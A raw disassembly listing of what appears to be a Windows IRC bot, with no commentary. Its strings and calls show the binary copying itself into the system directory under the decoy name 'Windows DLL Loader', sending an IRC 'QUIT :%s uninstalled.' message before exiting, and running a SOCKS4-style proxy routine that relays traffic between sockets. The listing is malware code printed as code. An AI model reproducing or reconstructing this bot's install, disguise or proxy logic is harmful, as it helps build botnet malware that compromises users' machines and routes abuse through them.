mov eax, [ebp+var_108]
shl eax, 1
cmp off_418B88[eax*4], 0
jz loc_4072E0
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset asc_418DE4 ; "\\"
lea eax, [ebp+var_104]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
lea eax, [ebp+var_104]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_104]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_4072DB
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
mov eax, [ebp+var_108]
shl eax, 1
push off_418B8C[eax*4]
push 0
call sub_406C51
add esp, 0Ch
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_20C]
push eax
call sub_406CF8
pop ecx
push eax
call sub_406D90
pop ecx
test eax, eax
jz short loc_4072D9
push offset aPacked_exe ; "packed.exe"
push offset aQuitSUninstall ; "QUIT :%s uninstalled."
call sub_40D6CB
pop ecx
pop ecx
call ds:dword_417254 ; WSACleanup
push 0
call ds:dword_41705C ; ExitProcess
loc_4072D9: ; CODE XREF: sub_407148+170j
jmp short locret_40732B
; ---------------------------------------------------------------------------
loc_4072DB: ; CODE XREF: sub_407148+D8j
jmp loc_40717A
; ---------------------------------------------------------------------------
loc_4072E0: ; CODE XREF: sub_407148+4Fj
push offset aPacked_exe ; "packed.exe"
push offset aWindowsDllLoad ; "Windows DLL Loader"
push 0
call sub_406C51
add esp, 0Ch
lea eax, [ebp+var_20C]
push eax
call sub_406CF8
pop ecx
push eax
call sub_406D90
pop ecx
test eax, eax
jz short locret_40732B
push offset aPacked_exe ; "packed.exe"
push offset aQuitSUninstall ; "QUIT :%s uninstalled."
call sub_40D6CB
pop ecx
pop ecx
call ds:dword_417254 ; WSACleanup
push 0
call ds:dword_41705C ; ExitProcess
locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j
; sub_407148+1C2j
leave
retn
sub_407148 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40732D proc near ; DATA XREF: sub_40764D+145o
var_16F0 = dword ptr -16F0h
var_16EC = dword ptr -16ECh
var_16E8 = dword ptr -16E8h
var_16E4 = dword ptr -16E4h
var_16E0 = byte ptr -16E0h
var_6E0 = byte ptr -6E0h
var_5E0 = dword ptr -5E0h
var_5DC = byte ptr -5DCh
var_5D4 = dword ptr -5D4h
var_5D0 = byte ptr -5D0h
var_5CF = byte ptr -5CFh
var_5CE = dword ptr -5CEh
var_5C8 = byte ptr -5C8h
var_1C8 = dword ptr -1C8h
var_1BE = byte ptr -1BEh
var_1AE = byte ptr -1AEh
var_1B = byte ptr -1Bh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 16F0h
call sub_416BC0
push 1BDh
push [ebp+arg_0]
lea eax, [ebp+var_1C8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov eax, [ebp+var_1C8]
mov [ebp+var_5D4], eax
push 0
push 408h
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call ds:dword_417248 ; recv
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_40738F
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_407396
loc_40738F: ; CODE XREF: sub_40732D+5Aj
xor eax, eax
jmp locret_407649
; ---------------------------------------------------------------------------
loc_407396: ; CODE XREF: sub_40732D+60j
movzx eax, [ebp+var_5D0]
cmp eax, 4
jnz short loc_4073BA
movzx eax, [ebp+var_5CF]
cmp eax, 1
jnz short loc_4073BA
mov [ebp+var_16EC], 1
jmp short loc_4073C1
; ---------------------------------------------------------------------------
loc_4073BA: ; CODE XREF: sub_40732D+73j
; sub_40732D+7Fj
and [ebp+var_16EC], 0
loc_4073C1: ; CODE XREF: sub_40732D+8Bj
mov eax, [ebp+var_16EC]
mov [ebp+var_4], eax
movsx eax, [ebp+var_1BE]
test eax, eax
jz short loc_4073F5
push 10h
lea eax, [ebp+var_1BE]
push eax
lea eax, [ebp+var_5C8]
push eax
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_4073F5
and [ebp+var_4], 0
loc_4073F5: ; CODE XREF: sub_40732D+A6j
; sub_40732D+C2j
movsx eax, [ebp+var_1B]
test eax, eax
jz short loc_407456
lea eax, [ebp+var_6E0]
push eax
push [ebp+var_5D4]
call sub_4044F7
pop ecx
pop ecx
cmp [ebp+var_4], 0
jz short loc_407423
mov [ebp+var_16F0], offset byte_41DE30
jmp short loc_40742D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_40732D+E8j
mov [ebp+var_16F0], offset aRejected ; " rejected"
loc_40742D: ; CODE XREF: sub_40732D+F4j
push [ebp+var_16F0]
movzx eax, [ebp+var_5D0]
push eax
lea eax, [ebp+var_6E0]
push eax
push offset dword_418EB8
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 14h
loc_407456: ; CODE XREF: sub_40732D+CEj
cmp [ebp+var_4], 0
jnz short loc_4074A0
push 8
push 0
lea eax, [ebp+var_5D0]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_5CF], 5Bh
push 8
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
push [ebp+var_5D4]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_407649
; ---------------------------------------------------------------------------
loc_4074A0: ; CODE XREF: sub_40732D+12Dj
push 0Ah
lea eax, [ebp+var_5DC]
push eax
push [ebp+var_5CE]
call ds:dword_417238 ; ntohs
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 2710h
push 0
lea eax, [ebp+var_5DC]
push eax
push [ebp+var_5CE+2]
call ds:dword_41721C ; inet_ntoa
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_5E0], eax
push 8
push 0
lea eax, [ebp+var_5D0]
push eax
call sub_416B6A ; memset
add esp, 0Ch
cmp [ebp+var_5E0], 0
jnz short loc_407537
mov [ebp+var_5CF], 5Bh
push 8
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
push [ebp+var_5D4]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_407649
; ---------------------------------------------------------------------------
loc_407537: ; CODE XREF: sub_40732D+1D7j
mov [ebp+var_5CF], 5Ah
push 8
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
loc_407555: ; CODE XREF: sub_40732D+2FDj
push [ebp+var_5D4]
call sub_40447B
pop ecx
test eax, eax
jz short loc_4075BD
push 0
push 1000h
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5D4]
call ds:dword_417248 ; recv
mov [ebp+var_16E4], eax
cmp [ebp+var_16E4], 0
jz short loc_407597
cmp [ebp+var_16E4], 0FFFFFFFFh
jnz short loc_40759C
loc_407597: ; CODE XREF: sub_40732D+25Fj
jmp loc_40762F
; ---------------------------------------------------------------------------
loc_40759C: ; CODE XREF: sub_40732D+268j
push [ebp+var_16E4]
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5E0]
call sub_4053BF
add esp, 0Ch
test eax, eax
jnz short loc_4075BD
jmp short loc_40762F
; ---------------------------------------------------------------------------
loc_4075BD: ; CODE XREF: sub_40732D+236j
; sub_40732D+28Cj
push [ebp+var_5E0]
call sub_40447B
pop ecx
test eax, eax
jz short loc_407622
push 0
push 1000h
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5E0]
call ds:dword_417248 ; recv
mov [ebp+var_16E8], eax
cmp [ebp+var_16E8], 0
jz short loc_4075FF
cmp [ebp+var_16E8], 0FFFFFFFFh
jnz short loc_407601
loc_4075FF: ; CODE XREF: sub_40732D+2C7j
jmp short loc_40762F
; ---------------------------------------------------------------------------
loc_407601: ; CODE XREF: sub_40732D+2D0j
push [ebp+var_16E8]
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
test eax, eax
jnz short loc_407622
jmp short loc_40762F
; ---------------------------------------------------------------------------
loc_407622: ; CODE XREF: sub_40732D+29Ej
; sub_40732D+2F1j
push 32h
call ds:dword_41709C ; Sleep
jmp loc_407555
; ---------------------------------------------------------------------------
loc_40762F: ; CODE XREF: sub_40732D:loc_407597j
; sub_40732D+28Ej ...
push [ebp+var_5D4]
call sub_40538D
pop ecx
push [ebp+var_5E0]
call sub_40538D
pop ecx
xor eax, eax
locret_407649: ; CODE XREF: sub_40732D+64j
; sub_40732D+16Ej ...
leave
retn 4
sub_40732D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40764D proc near ; DATA XREF: sub_4077DD+B4o
var_1CC = dword ptr -1CCh
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = byte ptr -1BCh
var_1B6 = byte ptr -1B6h
var_1A6 = byte ptr -1A6h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
push 1BDh
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
lea eax, [ebp+var_1BC]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_1C4], eax
cmp [ebp+var_1C4], 0
jnz short loc_4076A8
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4077D9
; ---------------------------------------------------------------------------
loc_4076A8: ; CODE XREF: sub_40764D+46j
lea eax, [ebp+var_1BC]
push eax
mov eax, [ebp+var_1C0]
push dword ptr [eax]
push offset dword_418EF8
lea eax, [ebp+var_1A6]
push eax
call sub_40D53F
add esp, 10h
loc_4076CB: ; CODE XREF: sub_40764D+B9j
; sub_40764D+E1j ...
push 3E8h
push [ebp+var_1C4]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_1C8], eax
mov eax, [ebp+var_1C0]
cmp dword ptr [eax+4], 0
jnz short loc_4076F8
cmp [ebp+var_1C8], 0
jnz short loc_4076FD
loc_4076F8: ; CODE XREF: sub_40764D+A0j
jmp loc_4077BF
; ---------------------------------------------------------------------------
loc_4076FD: ; CODE XREF: sub_40764D+A9j
cmp [ebp+var_1C8], 0FFFFFFFFh
jnz short loc_407708
jmp short loc_4076CB
; ---------------------------------------------------------------------------
loc_407708: ; CODE XREF: sub_40764D+B7j
push 1BDh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_1CC], eax
cmp [ebp+var_1CC], 0
jnz short loc_407730
push [ebp+var_1C8]
call sub_4053B1
pop ecx
jmp short loc_4076CB
; ---------------------------------------------------------------------------
loc_407730: ; CODE XREF: sub_40764D+D3j
mov eax, [ebp+var_1CC]
mov ecx, [ebp+var_1C8]
mov [eax], ecx
lea eax, [ebp+var_1BC]
push eax
mov eax, [ebp+var_1CC]
add eax, 4
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_1B6]
push eax
mov eax, [ebp+var_1CC]
add eax, 0Ah
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push 1A3h
lea eax, [ebp+var_1A6]
push eax
mov eax, [ebp+var_1CC]
add eax, 1Ah
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+var_1CC]
push offset sub_40732D
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_4077BA
push [ebp+var_1CC]
call sub_416B4C ; free
pop ecx
push [ebp+var_1C8]
call sub_4053B1
pop ecx
loc_4077BA: ; CODE XREF: sub_40764D+153j
jmp loc_4076CB
; ---------------------------------------------------------------------------
loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j
push [ebp+var_1C4]
call sub_404CBB
pop ecx
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
locret_4077D9: ; CODE XREF: sub_40764D+56j
leave
retn 4
sub_40764D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_40780F
push 0Ah
lea eax, [ebp+var_8]
push eax
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_8]
mov [ebp+arg_4], eax
loc_40780F: ; CODE XREF: sub_4077DD+Aj
push 1BDh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_407825
jmp short locret_40789E
; ---------------------------------------------------------------------------
loc_407825: ; CODE XREF: sub_4077DD+44j
push [ebp+arg_4]
mov eax, [ebp+var_C]
add eax, 4
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jz short loc_407844
mov eax, [ebp+arg_8]
mov [ebp+var_10], eax
jmp short loc_40784B
; ---------------------------------------------------------------------------
loc_407844: ; CODE XREF: sub_4077DD+5Dj
mov [ebp+var_10], offset byte_41DE30
loc_40784B: ; CODE XREF: sub_4077DD+65j
push 10h
push [ebp+var_10]
mov eax, [ebp+var_C]
add eax, 0Ah
push eax
call sub_407A56
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_C]
add eax, 1Ah
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push offset dword_418F2C
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_C]
push offset sub_40764D
call sub_4095A4
add esp, 14h
locret_40789E: ; CODE XREF: sub_4077DD+46j
leave
retn
sub_4077DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4078B8
jmp short locret_4078E4
; ---------------------------------------------------------------------------
loc_4078B8: ; CODE XREF: sub_4078A0+14j
; sub_4078A0:loc_4078E2j
cmp [ebp+var_4], 0
jnz short loc_4078C0
jmp short locret_4078E4
; ---------------------------------------------------------------------------
loc_4078C0: ; CODE XREF: sub_4078A0+1Cj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_4078E0
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
and byte ptr [eax], 0
jmp short loc_4078E2
; ---------------------------------------------------------------------------
loc_4078E0: ; CODE XREF: sub_4078A0+33j
jmp short locret_4078E4
; ---------------------------------------------------------------------------
loc_4078E2: ; CODE XREF: sub_4078A0+3Ej
jmp short loc_4078B8
; ---------------------------------------------------------------------------
locret_4078E4: ; CODE XREF: sub_4078A0+16j
; sub_4078A0+1Ej ...
leave
retn
sub_4078A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+var_4], 0
jmp short loc_4078FC
; ---------------------------------------------------------------------------
loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4078FC: ; CODE XREF: sub_4078E6+Dj
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407923
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+arg_4]
cmp eax, ecx
jnz short loc_407921
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_407921: ; CODE XREF: sub_4078E6+32j
jmp short loc_4078F5
; ---------------------------------------------------------------------------
loc_407923: ; CODE XREF: sub_4078E6+21j
mov eax, [ebp+var_8]
leave
retn
sub_4078E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407928 proc near ; CODE XREF: sub_40E618+2Bp
; sub_40E618+185p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_10], 0
jnz short loc_407963
mov eax, [ebp+arg_10]
shl eax, 2
push eax
push 0
push [ebp+arg_8]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_10]
shl eax, 2
push eax
push 0
push [ebp+arg_C]
call sub_416B6A ; memset
add esp, 0Ch
xor eax, eax
jmp locret_407A54
; ---------------------------------------------------------------------------
loc_407963: ; CODE XREF: sub_407928+Aj
push [ebp+arg_0]
push [ebp+arg_4]
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push [ebp+arg_0]
call sub_40813C
add esp, 0Ch
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
mov [eax], ecx
mov [ebp+var_8], 1
jmp short loc_4079A1
; ---------------------------------------------------------------------------
loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_4079A1: ; CODE XREF: sub_407928+70j
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_10]
jge loc_407A51
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+eax*4-4], 0
jz short loc_407A0A
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_8]
mov [edx+ecx*4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+eax*4], 0
jz short loc_4079F8
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
mov eax, [ecx+eax*4]
sub eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_C], ecx
jmp short loc_4079FC
; ---------------------------------------------------------------------------
loc_4079F8: ; CODE XREF: sub_407928+B8j
and [ebp+var_C], 0
loc_4079FC: ; CODE XREF: sub_407928+CEj
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
mov [ecx+eax*4], edx
jmp short loc_407A4C
; ---------------------------------------------------------------------------
loc_407A0A: ; CODE XREF: sub_407928+90j
mov eax, [ebp+arg_10]
sub eax, [ebp+var_8]
shl eax, 2
push eax
push 0
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
lea eax, [ecx+eax*4]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_10]
sub eax, [ebp+var_8]
shl eax, 2
push eax
push 0
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_C]
lea eax, [ecx+eax*4]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_8]
dec eax
jmp short locret_407A54
; ---------------------------------------------------------------------------
loc_407A4C: ; CODE XREF: sub_407928+E0j
jmp loc_40799A
; ---------------------------------------------------------------------------
loc_407A51: ; CODE XREF: sub_407928+7Fj
mov eax, [ebp+arg_10]
locret_407A54: ; CODE XREF: sub_407928+36j
; sub_407928+122j
leave
retn
sub_407928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A56 proc near ; CODE XREF: sub_401146+6Bp
; sub_401146+CAp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_407A81
cmp ecx, 1
jz short loc_407A7E
loc_407A6E: ; CODE XREF: sub_407A56+26j
mov al, [esi]
mov [edi], al
test al, al
jz short loc_407A81
inc esi
inc edi
dec ecx
cmp ecx, 1
jnz short loc_407A6E
loc_407A7E: ; CODE XREF: sub_407A56+16j
mov byte ptr [edi], 0
loc_407A81: ; CODE XREF: sub_407A56+11j
; sub_407A56+1Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A86 proc near ; CODE XREF: sub_4097A7+17p
; sub_4098F3+17p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_407A97
; ---------------------------------------------------------------------------
loc_407A90: ; CODE XREF: sub_407A86+3Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407A97: ; CODE XREF: sub_407A86+8j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407AC6
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 30h
jl short loc_407AC2
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 39h
jg short loc_407AC2
jmp short loc_407A90
; ---------------------------------------------------------------------------
loc_407AC2: ; CODE XREF: sub_407A86+2Aj
; sub_407A86+38j
xor al, al
jmp short locret_407AC8
; ---------------------------------------------------------------------------
loc_407AC6: ; CODE XREF: sub_407A86+1Cj
mov al, 1
locret_407AC8: ; CODE XREF: sub_407A86+3Ej
leave
retn
sub_407A86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407ACA proc near ; CODE XREF: sub_401000+F6p
; sub_4148CE+61p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push [ebp+arg_8]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_4], eax
and [ebp+var_8], 0
and [ebp+var_C], 0
jmp short loc_407AED
; ---------------------------------------------------------------------------
loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
loc_407AED: ; CODE XREF: sub_407ACA+1Aj
mov eax, [ebp+arg_4]
sub eax, [ebp+var_4]
cmp [ebp+var_C], eax
jg short loc_407B5A
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_8]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jz short loc_407B37
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_8]
movsx ecx, byte ptr [ecx]
add ecx, 20h
cmp eax, ecx
jz short loc_407B37
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_8]
movsx ecx, byte ptr [ecx]
sub ecx, 20h
cmp eax, ecx
jnz short loc_407B58
loc_407B37: ; CODE XREF: sub_407ACA+3Fj
; sub_407ACA+55j
push [ebp+var_4]
push [ebp+arg_8]
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_407B58
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
jmp short locret_407B5C
; ---------------------------------------------------------------------------
loc_407B58: ; CODE XREF: sub_407ACA+6Bj
; sub_407ACA+84j
jmp short loc_407AE6
; ---------------------------------------------------------------------------
loc_407B5A: ; CODE XREF: sub_407ACA+2Cj
xor eax, eax
locret_407B5C: ; CODE XREF: sub_407ACA+8Cj
leave
retn
sub_407ACA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp
; sub_40E943+20p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_407B70
; ---------------------------------------------------------------------------
loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407B70: ; CODE XREF: sub_407B5E+9j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407B85
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
jmp short locret_407BF3
; ---------------------------------------------------------------------------
loc_407B85: ; CODE XREF: sub_407B5E+1Dj
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_407BA1
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jnz short loc_407BEE
loc_407BA1: ; CODE XREF: sub_407B5E+33j
and [ebp+var_8], 0
jmp short loc_407BAE
; ---------------------------------------------------------------------------
loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_407BAE: ; CODE XREF: sub_407B5E+47j
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
movsx eax, byte ptr [ecx+eax]
cmp eax, 0Dh
jz short loc_407BD2
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
movsx eax, byte ptr [ecx+eax]
cmp eax, 0Ah
jnz short loc_407BE1
loc_407BD2: ; CODE XREF: sub_407B5E+60j
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
and byte ptr [ecx+eax], 0
jmp short loc_407BEC
; ---------------------------------------------------------------------------
loc_407BE1: ; CODE XREF: sub_407B5E+72j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
add eax, [ebp+var_8]
jmp short locret_407BF3
; ---------------------------------------------------------------------------
loc_407BEC: ; CODE XREF: sub_407B5E+81j
jmp short loc_407BA7
; ---------------------------------------------------------------------------
loc_407BEE: ; CODE XREF: sub_407B5E+41j
jmp loc_407B69
; ---------------------------------------------------------------------------
locret_407BF3: ; CODE XREF: sub_407B5E+25j
; sub_407B5E+8Cj
leave
retn
sub_407B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp
; sub_411A09+F3p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_0]
inc ecx
mov [ebp+arg_0], ecx
test eax, eax
jz short loc_407C2A
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407C15
jmp short loc_407C2A
; ---------------------------------------------------------------------------
loc_407C15: ; CODE XREF: sub_407BF5+1Cj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_407C28
mov eax, [ebp+arg_0]
and byte ptr [eax], 0
jmp short loc_407C2A
; ---------------------------------------------------------------------------
loc_407C28: ; CODE XREF: sub_407BF5+29j
jmp short loc_407BF8
; ---------------------------------------------------------------------------
loc_407C2A: ; CODE XREF: sub_407BF5+12j
; sub_407BF5+1Ej ...
pop ebp
retn
sub_407BF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p
; sub_40CA29+91p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
and [ebp+var_8], 0
and [ebp+var_4], 0
jmp short loc_407C49
; ---------------------------------------------------------------------------
loc_407C42: ; CODE XREF: sub_407C2C+31j
; sub_407C2C:loc_407CCDj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407C49: ; CODE XREF: sub_407C2C+14j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_407C68
cmp [ebp+var_C], 0
